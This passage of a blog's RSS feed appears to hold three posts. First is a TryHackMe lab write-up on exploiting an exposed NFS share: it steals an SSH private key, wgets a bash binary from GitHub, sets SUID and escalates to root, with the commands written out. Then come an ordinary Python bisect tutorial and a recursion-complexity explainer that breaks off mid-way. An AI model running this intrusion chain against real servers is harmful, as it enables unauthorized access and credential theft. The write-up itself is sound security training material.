&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"&gt;&lt;path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/&gt;&lt;/svg&gt;
&lt;span&gt;Reference&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;a href="https://tryhackme.com/r/room/networkservices2"&gt;💻 THM Network Services Room&lt;/a&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a <code>TryHackMe Room Writeup</code></p>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Reference</span>
    </div>
      <div class="admonition-content">
        <p><a href="https://tryhackme.com/r/room/networkservices2">💻 THM Network Services Room</a></p>
      </div>
  </div><h3 id="gaining-access-through-nfs">Gaining Access Through NFS</h3>
<h4 id="initial-reconnaissance">Initial Reconnaissance</h4>
<p>The first step to Network File System (NFS) exploitation is identifying an exposed NFS share on the target machine. A public NFS share might have insufficient access controls, allowing unauthorized mounting from a remote location. This gives us an initial vector to compromise the vulnerable server.</p>
<p>Example Nmap Scan: <em>(NFS Scan highlighted)</em></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">root@ip-10-10-71-105:~# <span class="nv">IP</span><span class="o">=</span>10.10.190.97
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">root@ip-10-10-71-105:~# nmap -sS -T4 -F -oN output.txt <span class="nv">$IP</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">PORT      STATE SERVICE  VERSION
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">111/tcp   open  rpcbind  2-4 <span class="o">(</span>RPC <span class="c1">#100000)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">2049/tcp  open  nfs_acl  <span class="m">3</span>   <span class="o">(</span>RPC <span class="c1">#100227)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">32969/tcp open  mountd   1-3 <span class="o">(</span>RPC <span class="c1">#100005)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">33463/tcp open  mountd   1-3 <span class="o">(</span>RPC <span class="c1">#100005)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">38233/tcp open  nlockmgr 1-4 <span class="o">(</span>RPC <span class="c1">#100021)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">43597/tcp open  mountd   1-3 <span class="o">(</span>RPC <span class="c1">#100005)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">MAC Address: 02:AE:30:CF:78:25 <span class="o">(</span>Unknown<span class="o">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">Service Info: OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">Read data files from: /usr/bin/../share/nmap
</span></span><span class="line"><span class="ln">17</span><span class="cl">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span class="line"><span class="ln">18</span><span class="cl">Nmap <span class="k">done</span>: <span class="m">1</span> IP address <span class="o">(</span><span class="m">1</span> host up<span class="o">)</span> scanned in 75.34 seconds
</span></span><span class="line"><span class="ln">19</span><span class="cl">        Raw packets sent: <span class="m">128591</span> <span class="o">(</span>5.658MB<span class="o">)</span> <span class="p">|</span> Rcvd: <span class="m">128591</span> <span class="o">(</span>5.144MB<span class="o">)</span></span></span></code></pre></div>
<h4 id="mounting-the-shared-drive">Mounting the Shared Drive</h4>
<p>Remotely mounting the server&rsquo;s NFS share from our attacker machine gains us access to the server&rsquo;s file system, with its directories and files accessible directly on our device. This allows us to explore the server&rsquo;s file system, exfiltrate files from the server onto our device and upload our files to the server. These actions will let us grab private information and load malicious files onto the server to further our attack.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:~# sudo mount -t nfs <span class="nv">$IP</span>:home /tmp/mount/ -nolock</span></span></code></pre></div>
<p><img src="mounting_nfs.png" alt="image"></p>
<h4 id="ssh-key-extraction">SSH Key Extraction</h4>
<p>Navigating to the .ssh directory of a remote user on the mounted NFS share we found the user&rsquo;s SSH private key, which should never be stored on the server itself and should be securely stored on a trusted user machine. Should the server be breached through a vulnerability, the attacker can create a persistent method of entry using the stored private key to pose as a trusted user on future login attempts.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:~# <span class="nb">cd</span> /tmp/mount/cappucino/.ssh
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino/.ssh# cp id_rsa ~
</span></span><span class="line"><span class="ln">3</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino/.ssh# <span class="nb">cd</span> ~
</span></span><span class="line"><span class="ln">4</span><span class="cl">root@ip-10-10-71-105:~# chmod <span class="m">600</span> id_rsa
</span></span><span class="line"><span class="ln">5</span><span class="cl">root@ip-10-10-71-105:~# cp id_rsa /<span class="nv">$local_folder</span></span></span></code></pre></div>
<p><img src="privatekey_transfer.png" alt="image"></p>
<h4 id="ssh-login-with-stolen-key">SSH Login with Stolen Key</h4>
<p>After locating an SSH private key, it is simple to extract it using the NFS server by copying it from the shared drive to a local directory on the attack box. This file allows us to authenticate and gain access to the remote user&rsquo;s account through SSH, giving us direct access to a user account on the server.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:~# ssh -i id_rsa cappucino@<span class="nv">$IP</span></span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition success">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"/></svg>
      <span>Success</span>
    </div>
      <div class="admonition-content">
        <p>At this point the victim server has been compromised and we&rsquo;ve established a foothold in their infrastructure. Our next steps will involve escalating privileges and gaining persistence on the host to further cement our control.</p>
      </div>
  </div><h3 id="super-user-privilege-escalation-via-suid-exploit">Super User Privilege Escalation via SUID Exploit</h3>
<h4 id="uploading-malicious-script">Uploading Malicious Script</h4>
<p>Since we have 2 way connection, we can now upload anything we want to the server through the shared drive connection. We will upload a simple bash executable which we will use to escalate privileges and gain super user access on the server.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino# wget https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash</span></span></code></pre></div>
<h4 id="suid-permission-modification">SUID Permission Modification</h4>
<p>After placing the script on the target machine we can set its SUID (Set User ID) bit. This allowed the script to run with elevated (root) privileges, regardless of the user executing it.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino# sudo chmod +sx bash
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino# ls -la bash
</span></span><span class="line"><span class="ln">3</span><span class="cl">    -rwsr-sr-x <span class="m">1</span> root root <span class="m">1113504</span> Oct  <span class="m">4</span> 04:42 bash</span></span></code></pre></div>
<p><img src="bash_transfer.png" alt="image"></p>
<h4 id="escalating-to-superuser-privileges">Escalating to Superuser Privileges</h4>
<p>Executed the modified SUID script to escalate privileges from the standard user to the superuser (root). This provided full control over the target system.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">cappucino@polonfs:~$ ./bash -p
</span></span><span class="line"><span class="ln">2</span><span class="cl">bash-4.4# whoami
</span></span><span class="line"><span class="ln">3</span><span class="cl">&gt; root</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition success">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"/></svg>
      <span>Success</span>
    </div>
      <div class="admonition-content">
        <p>Now we have complete control over the victim server with super user access. Our next steps would be to establish persistence and scan for other devices on the network to initiate lateral movement.</p>
      </div>
  </div><h3 id="takeaways">Takeaways</h3>
<ul>
<li>
<p><strong>NFS Security Misconfigurations</strong>:
Exposed NFS shares without proper access controls can be a critical vulnerability, allowing unauthorized mounting and file access.</p>
</li>
<li>
<p><strong>SUID Misconfigurations</strong>:
SUID permissions on scripts and binaries can be exploited to gain elevated privileges, especially if the target does not enforce proper file permissions.</p>
</li>
</ul>
]]></content:encoded></item><item><title>Binary Search in Python</title><link>https://michaelmuratov.com/blog/artifacts/guides/binary-search-python/</link><pubDate>Sun, 27 Jun 2021 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/binary-search-python/</guid><description>&lt;p&gt;I always get anxious when I see a problem that involves a sorted list because I know that it’ll inevitably involve using binary search.&lt;/p&gt;
&lt;p&gt;This fear is completely irrational, and I always kick myself for feeling this way because binary search is beautiful. Given a sorted list you can find the index of any value in log(N) time because you get to cut your search space in half with every lookup.&lt;/p&gt;</description><content:encoded><![CDATA[<p>I always get anxious when I see a problem that involves a sorted list because I know that it’ll inevitably involve using binary search.</p>
<p>This fear is completely irrational, and I always kick myself for feeling this way because binary search is beautiful. Given a sorted list you can find the index of any value in log(N) time because you get to cut your search space in half with every lookup.</p>

<div><img src="table.webp" 
		 class="img-preset img-preset-md" width="600" height="400">

	<figcaption style="margin:0px;" class="figure-caption">
		geeksforgeeks.org/binary-search
	</figcaption>
</div>

<p>Precisely this operation allows sorted lists to be very space and time efficient at solving problems requiring lookups as well as determining how many entries are greater or less than your target.</p>
<p>Now if you want to take advantage of your sorted lists you may be tempted to write your own binary search and insert functions like I’ve been doing so far and inevitably it takes a few tries to actually get it working right. Thankfully there’s a built in library that already does the same thing, in a single line and a lot faster too.</p>
<h3 id="bisect">Bisect</h3>
<p>The bisect library is a tiny one, but it does two things and it does them well; <strong>search</strong> and <strong>insert</strong>.</p>
<p>For search we have <strong>bisect_left</strong> and <strong>bisect_right</strong> which perform binary search to find where to insert a value right before our target on either the left or right. In the case of <strong>bisect_right</strong> it will overshoot by one index to show you where you should insert your new value to maintain order.</p>
<p>list: [1,2,3,4,5], target = 4</p>
<ul>
<li><strong>bisect_left</strong>: [1,2,3, _ , 4,5] index= 3</li>
<li><strong>bisect_right</strong>: [1,2,3,4, _ ,5] index= 3+1</li>
</ul>
<p>For insertion we have <strong>insort_left</strong> and <strong>insort_right</strong> which perform binary insert to actually insert our value on either the left or the right of our target and manipulates our list inplace.</p>
<ul>
<li><strong>insort_left</strong>: [1,2,3, 4 ,4,5] inserted index= 3</li>
<li><strong>insort_right</strong>: [1,2,3,4, 4 ,5] inserted index= 3+1</li>
</ul>
<p>Apart from <strong>bisect</strong> and insort which are equivalent in function to <strong>bisect_right</strong> and <strong>insort_right</strong> respectivly, these are the only functions available in this library. However they completely replace the need to write your own functions for lookups and inserts.</p>
<h3 id="bisect-is-fast">Bisect is Fast</h3>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">def</span> <span class="nf">binary_search</span><span class="p">(</span><span class="n">lst</span><span class="p">,</span> <span class="n">target</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">    <span class="n">start</span><span class="p">,</span> <span class="n">end</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">lst</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="k">while</span> <span class="n">start</span> <span class="o">&lt;=</span> <span class="n">end</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">        <span class="n">middle</span> <span class="o">=</span> <span class="p">(</span><span class="n">end</span><span class="o">+</span><span class="n">start</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="k">if</span> <span class="n">target</span> <span class="o">&gt;</span> <span class="n">lst</span><span class="p">[</span><span class="n">middle</span><span class="p">]:</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">            <span class="n">start</span> <span class="o">=</span> <span class="n">middle</span> <span class="o">+</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="k">elif</span> <span class="n">target</span> <span class="o">&lt;</span> <span class="n">lst</span><span class="p">[</span><span class="n">middle</span><span class="p">]:</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">            <span class="n">end</span> <span class="o">=</span> <span class="n">middle</span> <span class="o">-</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">            <span class="k">return</span> <span class="n">middle</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">return</span> <span class="o">-</span><span class="mi">1</span></span></span></code></pre></div>
<p>And here’s a binary race between it and bisect. We’ll be looking for value 0 because ironically it will take the longest to find with binary search since 0 is never in the middle of anything.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1">#list and target</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">input_list</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">1000000</span><span class="p">))</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">target</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="c1">#my binary search</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">start</span> <span class="o">=</span> <span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">index</span> <span class="o">=</span> <span class="n">binary_search</span><span class="p">(</span><span class="n">input_list</span><span class="p">,</span> <span class="n">target</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">duration</span> <span class="o">=</span> <span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">start</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;search found </span><span class="si">{}</span><span class="s2"> at index </span><span class="si">{}</span><span class="s2"> in </span><span class="si">{}</span><span class="s2"> seconds&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">target</span><span class="p">,</span><span class="n">index</span><span class="p">,</span><span class="n">duration</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1">#bisect binary search</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">start</span> <span class="o">=</span> <span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">index</span> <span class="o">=</span> <span class="n">bisect</span><span class="o">.</span><span class="n">bisect_left</span><span class="p">(</span><span class="n">input_list</span><span class="p">,</span> <span class="n">target</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">if</span> <span class="n">index</span> <span class="o">==</span> <span class="nb">len</span><span class="p">(</span><span class="n">input_list</span><span class="p">)</span> <span class="ow">or</span> <span class="n">input_list</span><span class="p">[</span><span class="n">index</span><span class="p">]</span> <span class="o">!=</span> <span class="n">target</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">index</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">duration</span> <span class="o">=</span> <span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">start</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;bisect found </span><span class="si">{}</span><span class="s2"> at index </span><span class="si">{}</span><span class="s2"> in </span><span class="si">{}</span><span class="s2"> seconds&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">target</span><span class="p">,</span><span class="n">index</span><span class="p">,</span><span class="n">duration</span><span class="p">))</span></span></span></code></pre></div>
<ul>
<li>search found 0 at index 0 in <strong>1.6927719116210938e-05 seconds</strong></li>
<li>bisect found 0 at index 0 in <strong>2.6226043701171875e-06 seconds</strong></li>
</ul>
<p>Here we can see that bisect is <strong>6</strong> times faster than my implementation</p>
<p>Because bisect is implemented in C it is much faster, though both functions use the exact same algorithm. Python is just a lot slower at adding numbers than C because all numbers in Python are actually Integer classes which in turn take time to call their addition functions whereas in C integers are just 4 byte data types and are processed very efficiently by the CPU. The difference in time can start to compound into a tangible boost in performance when you start doing many lookups or insertions sequentially.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Bisect is a small but useful library that helps maintain sorted order in lists as well as providing lookups in a quick and efficient way. Knowing about its existence can save on both implementation and runtime and it is an indespensible tool for many coding interviews where questions about sorted lists tend to crop up from time to time.</p>
]]></content:encoded></item><item><title>Solving for Recursive Complexity</title><link>https://michaelmuratov.com/blog/artifacts/guides/solving-recursive-complexity/</link><pubDate>Tue, 19 May 2020 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/solving-recursive-complexity/</guid><description>&lt;p&gt;A few days ago I bumped into a question on &lt;a href="https://leetcode.com/"&gt;LeetCode&lt;/a&gt; where I saw a bunch of people scratching their heads. It was question number 10 titled Regular Expression Matching with the difficulty label Hard. The solution to the exercise itself was not intuitive, requiring effective use of previously solved subproblems, but that wasn’t what everyone in the comments were interested in. After all the solution was available for everyone to see.&lt;/p&gt;</description><content:encoded><![CDATA[<p>A few days ago I bumped into a question on <a href="https://leetcode.com/">LeetCode</a> where I saw a bunch of people scratching their heads. It was question number 10 titled Regular Expression Matching with the difficulty label Hard. The solution to the exercise itself was not intuitive, requiring effective use of previously solved subproblems, but that wasn’t what everyone in the comments were interested in. After all the solution was available for everyone to see.</p>
<p>The real intrigue was the calculated but unexplained time complexity for one of the inefficient solutions which only used recursion, minus the dynamic programming. After all, <a href="https://en.wikipedia.org/wiki/Dynamic_programming">dynamic programming</a> makes time and space complexity fairly easy to compute, as long as the solution is correct, it cannot exceed the complexity of all possible subproblems. Before I can get ahead of myself though here’s the outline of the original problem which can also be found here <a href="https://leetcode.com/problems/regular-expression-matching/">https://leetcode.com/problems/regular-expression-matching/</a></p>
<p>If at some point I lose you during the explanation please leave a comment so I can make a revision.</p>
<h3 id="the-problem">The Problem:</h3>
<p>Given an input string (<code>s</code>) and a pattern (<code>p</code>), implement regular expression matching with support for <code>'.'</code> and <code>'*'</code>.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-markdown" data-lang="markdown"><span class="line"><span class="ln">1</span><span class="cl">&#39;.&#39; Matches any single character.
</span></span><span class="line"><span class="ln">2</span><span class="cl">&#39;*&#39; Matches zero or more of the preceding element.</span></span></code></pre></div>
<p>The matching should cover the <strong>entire</strong> input string (not partial).</p>
<p>Note:</p>
<ul>
<li><code>s</code> could be empty and contains only lowercase letters <code>a-z</code>.</li>
<li><code>p</code> could be empty and contains only lowercase letters <code>a-z</code>, and characters like <code>.</code> or <code>*</code>.</li>
</ul>
<h3 id="some-examples">Some Examples:</h3>
<h4 id="example-1">Example 1</h4>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">Input:
</span></span><span class="line"><span class="ln">2</span><span class="cl">s = &#34;abcda&#34;
</span></span><span class="line"><span class="ln">3</span><span class="cl">p = &#34;ab.d&#34;
</span></span><span class="line"><span class="ln">4</span><span class="cl">Output: false
</span></span><span class="line"><span class="ln">5</span><span class="cl">Explanation: The . matches the c but the pattern ends before matching to the entire text.</span></span></code></pre></div>
<h4 id="example-2">Example 2</h4>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">Input:
</span></span><span class="line"><span class="ln">2</span><span class="cl">s = &#34;aab&#34;
</span></span><span class="line"><span class="ln">3</span><span class="cl">p = &#34;c*a*b&#34;
</span></span><span class="line"><span class="ln">4</span><span class="cl">Output: true
</span></span><span class="line"><span class="ln">5</span><span class="cl">Explanation: c can be repeated 0 times, a can be repeated 2 times. Therefore, it matches &#34;aab&#34;.</span></span></code></pre></div>
<h4 id="example-3">Example 3</h4>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">Input:
</span></span><span class="line"><span class="ln">2</span><span class="cl">s = &#34;ab&#34;
</span></span><span class="line"><span class="ln">3</span><span class="cl">p = &#34;.*&#34;
</span></span><span class="line"><span class="ln">4</span><span class="cl">Output: true
</span></span><span class="line"><span class="ln">5</span><span class="cl">Explanation: &#34;.*&#34; means &#34;zero or more (*) of any character (.)&#34;.</span></span></code></pre></div>
<p>The examples above summarize the kind of cases you can expect to be dealing with during testing. Because the title of the article is “Solving for Recursive Complexity” and not “How to Solve Recursive Problems” I won’t be going too deeply into how to solve this kind of problem. Instead I will resort to flashing a piece of pseudo code that explains the 3 recursive gates that our algorithm will be passing through on its journey to the end of the piece of text. I’d recommend trying to solve this problem on your own by going to the link I included above, and coming back here once you’ve gained a level of appreciation for this problem, because I’m about to spoil it for you.</p>
<h3 id="solution-pseudo-code">Solution Pseudo-code:</h3>
<p><img src="pseudocode.png" alt="alt text"></p>
<h3 id="quick-explanation">Quick Explanation</h3>
<p>If you’re not very familiar with recursion, this code block might still look very intimidating. The gist is that we’re only doing two things:</p>
<ol>
<li>
<p>checking if the current character of the text matches the pattern and</p>
</li>
<li>
<p>asking if the pattern will match the text if we modify the text a bit or the pattern a bit or both for the remaining characters.</p>
</li>
</ol>
<p>**Line 12: <code>keep_asterisk_match</code> is true if we don’t change the pattern but move along the length of the text (<strong>text[1:]</strong>). This is how <code>*</code> is dealt with in recursion, we simply move on to the next character of the text like the current one never existed and keep the asterisk in the pattern.</p>
<p><strong>Line 17:</strong> <code>skip_asterisk_match</code> is true if the text matches the pattern without the asterisk (<strong>pattern[2:]</strong>) i.e if we match 0 of the preceding element. Remember in Example 2 where c* didn’t have to match anything, and this is also how we jump out of the <code>keep_asterisk_match</code> trap that we made for ourselves earlier.</p>
<p><strong>Line 20</strong>: Once we get an answer for whether we get a match when keeping or skipping the asterisk after <code>keep_asterisk_match</code> and <code>skip_asterisk_match</code> are run we return the result as shown in the OR table below.</p>

<div><img src="logic_table.png" 
		 class="img-preset img-preset-md">

	<figcaption style="margin:0px;" class="figure-caption">
		(https://dyclassroom.com/logic-gate/universal-logic-gate-nor)
	</figcaption>
</div>

<p><strong>Line 24</strong>: If we don’t see an asterisk we check if that first character matched the pattern with <code>character_match</code> and we keep recusing by reducing the input text and pattern by that first matched character (<strong>text[1:], pattern[1:]</strong>) and recursively check if the rest of the string matches.</p>
<p><strong>Line 4</strong>: The final part of recursion which ironically is usually defined at the top of the function, is our recursion rock bottom. If we have an empty pattern and an empty string as our inputs, we have the divine knowledge that the pattern will match the string because empty matches empty for sure. If only one of them is empty we know that there’s no match.</p>
<h3 id="considering-the-complexity">Considering the Complexity</h3>
<p>The time complexity for this question appears to be difficult to pin down. After all, there are two points of recursion and one full stop. And like I said before, the answer to the complexity is given in the solutions with no further explanations. For text of length T and pattern of length P, with the text being indexed at text[i:] and pattern[2j:], the time complexity for this question is….<strong>drum roll</strong></p>
\[
  \sum_{i=0}^{T}\sum_{j=0}^{P/2}\binom{i+j}{i} \space O(T-i) +  \space  O(P-2j)
\]<p>Well, that’s quite something.</p>
<p>Normally you’d expect something like O(T*P) or anything else to that effect and in fact, the solutions do propose a more concise upper bound, again without any explanations (not surprisingly), but we’ll get to that later. For now we have enough on our hands as it is with this piece of work.</p>
<h3 id="linear-vs-exponential-complexity">Linear vs Exponential Complexity</h3>
<p>The reason why the complexity isn’t as simple as it is for something like <a href="https://en.wikipedia.org/wiki/Bubble_sort">bubble sort</a>, is because we’re not making linear passes over our text and pattern. Instead we’re doing things recursively, diving deeper and deeper through sections of our text and pattern and revisiting the same sub problems for what can feel like an arbitrary number of times. The reason I bring up bubble sort, which has O(n²) complexity, is because its complexity decreases in the shape of a pyramid as we sort more and more digits.</p>
<p><img src="pyramid.png" alt="alt text"></p>
<p>On the other hand, recursion has the classic shape of a tree due to the multiple places where the function can call itself.</p>
<p><img src="tree.png" alt="alt text"></p>
<p>The structures look deceptively similar but the crucial difference is that where the pyramid decreases linearly, the tree grows exponentially. This creates a world of a difference when analyzing time and space complexity.</p>
<h3 id="our-worst-case">Our Worst Case</h3>
<p>When analyzing worst case complexity we have to think of the worst case input. Because we have two inputs, text and pattern, I will focus on the pattern because one depends on the other and at least for me it’s easier to think of the rules rather than the results. In this question each new character we add to our pattern can be either a <code>.*</code> or <code>.</code> where <code>.</code> can be any character. From the code it should be pretty clear which choice causes more computation. If we include the <code>*</code> character, our code splits into two streams which must both be computed until inevitably they should return whether there’s a match, meanwhile if we are matching a single character the fun stops pretty quickly as we are only taking a single route, linearly.</p>
<p><img src="pseudocode2.png" alt="alt text"></p>
<p>It looks pretty clear that a worst case pattern would consist of many .* to create as many diverging paths as possible, with a final text character which does or doesn’t match the pattern.</p>
<p><strong>Text: aaaaaaaaaab</strong></p>
<p><strong>Pattern: a*a*a*a*a*a*a*a*a*a*</strong></p>
<p>In this scenario we must get both to the end of the pattern and to the end of the string to determine that there is no match, while branching 2¹⁰ number of times starting from the first index of the text.</p>
<h3 id="visualizing-the-computation">Visualizing the Computation</h3>
<p>In order to figure out the time complexity we have to find how many times each sub-problem had to be computed. Because we are not saving the result like in dynamic programming this will largely contribute to the exploding runtime. Each sub-problem consists of answering whether text[i:] and pattern[2j:] are a match. We use pattern[2j:] because we are using <code>.*</code> repeatedly in our pattern for the worst case, every time we take the <strong>skip_asterisk_matched</strong> path we skip one of the <code>.*</code> which take up two spaces. In order to visualize the two branches of <strong>skip_asterisk_matched</strong> and <strong>keep_asterisk_matched</strong> we will draw a tree diagram to illustrate all the visited sub-problems. Each node will have the format (i,j) for where the text and pattern are indexed at each point in time.</p>
<p><img src="tree_combos.png" alt="alt text"></p>
<p>A quick side note on this, when performing recursion, the algorithm will perform a <a href="https://en.wikipedia.org/wiki/Depth-first_search">depth-first search</a> by taking the left path first on each iteration. This doesn’t make much of a difference though because in the worst case we’ll have to traverse the entire tree anyways. Let’s take an example sub-problem where we want to see if text[2:] and pattern[2:] were a match. This will appear as (2,1) on our tree:</p>
